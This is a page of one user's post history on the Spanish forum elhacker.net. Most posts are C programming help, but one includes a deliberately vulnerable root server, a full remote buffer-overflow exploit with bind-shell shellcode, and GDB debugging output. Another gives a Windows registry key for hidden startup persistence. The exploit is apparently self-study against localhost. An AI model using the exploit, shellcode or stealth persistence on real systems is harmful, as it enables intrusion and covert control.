elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ... 125
121  Programación / Programación C/C++ / Re: Programa que ejecutra otro programa en: 3 Marzo 2011, 18:59 pm
Y si haces un daemon y te lo quitas de encima?
Código
  1. daemon (1, 0);

¿?¿?¿?
Y si no, usa execve o similar...
122  Programación / Programación C/C++ / Re: Fallo de segmentacion con fgets y Array de cadenas. en: 3 Marzo 2011, 18:55 pm
Código:
No uses fflush...

No sé si está solucionado, pero creo que el fallo está...
[code=c]
typedef char *strings;
 
int main(){
 
    strings info_variable[4];
 
    fgets(info_variable[0],30,stdin);
 
Defines strings como un puntero a un char... Puede que por eso te dé error. Yo prefiero usar arrays de toda la vida :P

A ver si esto te ayuda:
Código
  1. #include <stdio.h>
  2.  
  3. int main ()
  4. {
  5. char info_variable [4] [30]; int i;
  6.  
  7. for (i=0; i<4; i++)
  8. {
  9. fgets (info_variable [i], 30, stdin);
  10. printf ("%s", info_variable [i]);
  11. }
  12.  
  13. return 0;
  14. }
  15.  

Te pongo los for porque creo que tu código será más largo :P
Un saludo!

Sagrini[/code]
123  Programación / Programación C/C++ / Re: pf=fopen("ftp://ftp.byethost5.com/arch.txt","a+"); Es posible? en: 3 Marzo 2011, 18:47 pm
Veo que no vas muy lejos en tema de sockets...
http://wiki.elhacker.net/programacion/cc/articulos/introducion-a-los-sockets-en-ansi-c

Un saludo!
Sagrini
124  Seguridad Informática / Seguridad / Re: programa espia en: 3 Marzo 2011, 18:40 pm
Hola chocola!

Bueno, gracias a tu exceso de puntos y comas no se te entiende mucho, pero si lo que buscas es cómo ver qué se ejecuta al arrancar tu sistema Windows, lo que haces es...
1. Instalarte el CCleaner y mirarlo.
2. Instalar algún programa que te diga los procesos y servicios que buscas.
3. Busca manualmente por el msconfig (no, no te han mentido) o por las ramas de registro correspondientes.
Te dejo algunas ramas típicas...
Código:
 HKLM/Software/Microsoft/Windows/Current Version/Run
Código:
 HKLM/Software/Microsoft/Windows/Current Version/RunOnce
Código:
 HKLM/Software/Microsoft/Windows/Current Version/RunSetup
Código:
 HKCU/Software/Microsoft/Windows NT/Current Version/Windows (clave RUN, si existe)

Un saludo!
PD: Son las que me acuerdo, estoy en Linux y no me acuerdo mucho...
125  Informática / Hardware / Re: Ayuda... Desmontar un pc en: 3 Marzo 2011, 18:36 pm
Algo tiene que tener, especialmente si es viejo. Tornillos hay por la fuerza. Hasta los portátiles tienen :P
126  Seguridad Informática / Bugs y Exploits / Re: ¿ Fallo BoF Remoto Linux ? en: 2 Marzo 2011, 19:54 pm
Vale, ahora estaba pasando todo a limpio con una shellcode buena, y me ha salido este error al escribir el exploit...
El fallo está en que me sobreescribe el RET con en el principio de la shellcode (9958666a == 0x6a 0x66 0x58 0x99 ...)
¿Qué le pasa?

Serv
Código
  1. #include <sys/socket.h>
  2. #include <arpa/inet.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <signal.h>
  7. #include <time.h>
  8.  
  9. int sockfd, newsock;
  10.  
  11. void shutup (int signal)
  12. {
  13. times ();
  14. printf ("Shutting down...\n\n");
  15. close (newsock);
  16. close (sockfd);
  17. exit (0);
  18. }
  19.  
  20. int times ()
  21. {
  22. time_t now=time (0);
  23. struct tm *ahora;
  24. char buffer [40];
  25. ahora=localtime ((const time_t*)&now);
  26. strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  27. printf ("%s   ", buffer);
  28. return 0;
  29. }
  30.  
  31. int handle_conection (char *buffer)
  32. {
  33. char buff [256];
  34. strcpy (buff, buffer);
  35.  
  36. times ();
  37. buff [strlen (buff)-1]='\0';
  38. printf ("[0x%08x]: %s\n", &buff, buff);
  39.  
  40. return 0;
  41. }
  42.  
  43. int main (int argc, char *argv [])
  44. {
  45. time_t now=time (0);
  46. struct tm *ahora;
  47. char hora [40];
  48. ahora=localtime ((const time_t*)&now);
  49. strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  50. printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);
  51.  
  52. if (getuid()!=0)
  53. {
  54. printf ("This proccess must be run by root.\n\n");
  55. return 1;
  56. }
  57. if (argc<2)
  58. {
  59. printf ("Use: %s <PORT>\n\n", argv [0]);
  60. return 1;
  61. }
  62. int cont;
  63. struct sockaddr_in client, host;
  64. char buffer [1024];
  65. int size=sizeof (client);
  66.  
  67. sockfd=socket (2, 1 ,  0);
  68. host.sin_family=AF_INET;
  69. host.sin_port=htons (atoi (argv [1]));
  70. host.sin_addr.s_addr=0;
  71. bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
  72.  
  73. listen (sockfd, 3);
  74.  
  75. times ();
  76. printf ("Starting up...\n\n");
  77.  
  78. signal (SIGTERM, shutup);
  79. signal (SIGINT, shutup);
  80.  
  81. while (1)
  82. {
  83. newsock=accept (sockfd, (struct sockaddr*)&client, &size);
  84.  
  85. times ();
  86. printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  87.  
  88. cont=recv (newsock, &buffer, 1024, 0);
  89. while (cont > 1)
  90. {
  91. handle_conection (buffer);
  92. cont=recv (newsock, &buffer, 1024, 0);
  93. }
  94. times ();
  95. printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  96. close (newsock);
  97. }
  98. close (sockfd);
  99. return 0;
  100. }
  101.  
Exploit
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <arpa/inet.h>
  5. #include <sys/socket.h>
  6.  
  7. int main (int argc, char *argv [])
  8. {
  9. printf ("Vuln 2.0 Exploit 0.1 : Sagrini 2011 : elhacker.net\n");
  10. if (argc != 3)
  11. {
  12. printf ("!!! Use: %s <target_ip> <port>\n\n", argv [0]);
  13. return 1;
  14. }
  15.  
  16. printf ("Creating socket...\t");
  17. struct sockaddr_in host; int sockfd;
  18. host.sin_family = AF_INET;
  19. host.sin_port = htons (atoi (argv [2]));
  20. host.sin_addr.s_addr = inet_addr (argv [1]);
  21. memset (host.sin_zero, 0, 8);
  22. if ((sockfd=socket (2, 1, 0))==-1)
  23. {
  24. printf ("[FAIL]\n\n");
  25. return 1;
  26. }
  27. else printf ("[OK]\n");
  28.  
  29. printf ("Conecting target...\t");
  30. if ((connect (sockfd, (struct sockaddr*)&host, sizeof (host)))==-1)
  31. {
  32. printf ("[FAIL]\n\n");
  33. return 1;
  34. }
  35. else printf ("[OK]\n");
  36.  
  37. printf ("Creating buffer...\t");
  38. char nops [168];
  39. memset (nops, '\x90', 168);
  40. char shellcode [93] = "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58"
  41. "\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66"
  42. "\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a"
  43. "\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
  44. "\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
  45. char ret [6] = "\x30\xf8\xff\xbf\x90";
  46. char command [265];
  47. strcpy (command, nops);
  48. strcat (command, shellcode);
  49. strcat (command, ret);
  50. printf ("[OK]\n");
  51.  
  52. printf ("Sending buffer...\t");
  53. if (send (sockfd, &command, strlen (command), 0)==-1)
  54. {
  55. printf ("[FAIL]\n\n");
  56. return 1;
  57. }
  58. else printf ("[OK]\n\n");
  59.  
  60. FILE *fp = fopen ("a.txt", "w+");
  61. fprintf (fp, "%s", command);
  62. fclose (fp);
  63.  
  64. printf ("Now you can exec NC [nc -vv localhost 5074]\nBe good!\n\n");
  65. return 0;
  66. }
  67.  

Root Shell1 GDB serv
Código:
(gdb) r 31330
Starting program: /home/juanra/Escritorio/Serv/serv 31330
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 02/03/2011 19:50:08
02/03/2011 19:50:08   Starting up...

02/03/2011 19:50:11   Got connection from 127.0.0.1:41991
02/03/2011 19:50:11   [0xbffff6f8]: ������������������������������������������������������������������������������������������������������������������������������������������������������������������������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                        Rh//shh/bin��R��S��̀jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                       Rh//shh/bin��R��S��̀0����n����������
                                                          �����(跢%���y���y��(���1���1����y���y��(���1����������

Program received signal SIGSEGV, Segmentation fault.
0x9958666a in ?? ()
(gdb)
User Shell2 Exploit
Código:
juanra@Juanra:~/Escritorio/Serv$ ./exploit 127.0.0.1 31330
Vuln 2.0 Exploit 0.1 : Sagrini 2011 : elhacker.net
Creating socket... [OK]
Conecting target... [OK]
Creating buffer... [OK]
Sending buffer... [OK]

Now you can exec NC [nc -vv localhost 5074]
Be good!

juanra@Juanra:~/Escritorio/Serv$


Gracias y un saludo!
Sagrini
127  Programación / Programación C/C++ / Re: pf=fopen("ftp://ftp.byethost5.com/arch.txt","a+"); Es posible? en: 2 Marzo 2011, 19:31 pm
Empieza usando las funciones open () y fopen () para el archivo. Luego para conectar... socket (), connect (), send () y recv ()...
128  Seguridad Informática / Hacking / Re: Distintas formas de agregar un programa al arranque de Windows en: 2 Marzo 2011, 19:30 pm
Hay una rama que se ejecuta al ejecutar sesión, que no es seguida por ningún programita que yo sepa...
Código:
HKCU / Software / Microsoft / Windows NT / Current Version / Windows
Añades un valor alfanumérico llamado "run" y escribes el nombre de tu ejecutable...

Un saludo!
129  Foros Generales / Noticias / Re: Expulsado por matar demasiado en: 2 Marzo 2011, 19:17 pm
Dos compañeros de mi clase se pasan horas. Son capaces de hacer varias "bombas nucleares" en segundos. Manejan el mando mejor que las mandos. ¿Es eso normal?
130  Foros Generales / Foro Libre / Re: Te gusta sentir miedo y terror? en: 2 Marzo 2011, 18:44 pm
Yo no es que vea o juegue a muchos de esos juegos o películas, pero a veces sí que gusta un poco. Digamos que "libera"...
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ... 125
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines